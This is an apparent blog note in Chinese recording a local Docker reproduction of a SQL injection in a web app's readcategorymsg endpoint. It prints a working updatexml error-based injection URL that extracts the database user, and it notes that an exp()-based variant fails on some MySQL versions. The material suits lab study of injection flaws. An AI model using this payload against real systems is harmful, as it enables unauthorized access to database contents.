基于docker的一次复现,怕自己学着忘着,所以就边学便记录吧。
1.测试自己虚拟机的服务是否启动:
进行测试:(这里我之前是成功的,但是我将代码改了一点,就不成功了,美哦办法只能用poc的了)
http://127.0.0.1/Home/Index/readcategorymsg?category=%E7%B3%BB%E7%BB%9F%E6%B6%88%E6%81%AF
http://127.0.0.1/Home/Index/readcategorymsg?category[0]=bind&category[1]=0 and(updatexml(1,concat(0x7e,(user())),0))
如果使用了参考文章中的 exp , 在尝试的时候出现1690:DOUBLE value is out of range in 'exp(~((select 'a'.'user()' from (select user() AS 'user()') 'a')))' 只返回了语句并未报出结果,是因为使用的 mysql exp 报错注入会因为 mysql 版本的原因可能会不成功,建议使用 updatexml 来进行。
注意:当DEBUG模式关闭时,不会显示报错信息!
参考链接
查看源代码:
index.html
action = "#" 是form标签的属性,代表提交数据到本页
抓包发现发现是路径加参数
/Home/Index/readcategorymsg?category=%E7%B3%BB%E7%BB%9F%E6%B6%88%E6%81%AF
这里我没找到它的源文件,但一般sql的原理是在用户与数据库发生交互的别地方,程序猿未进行全面的过滤,
怀疑这个应该也是,我之后在进行跟新吧
网友评论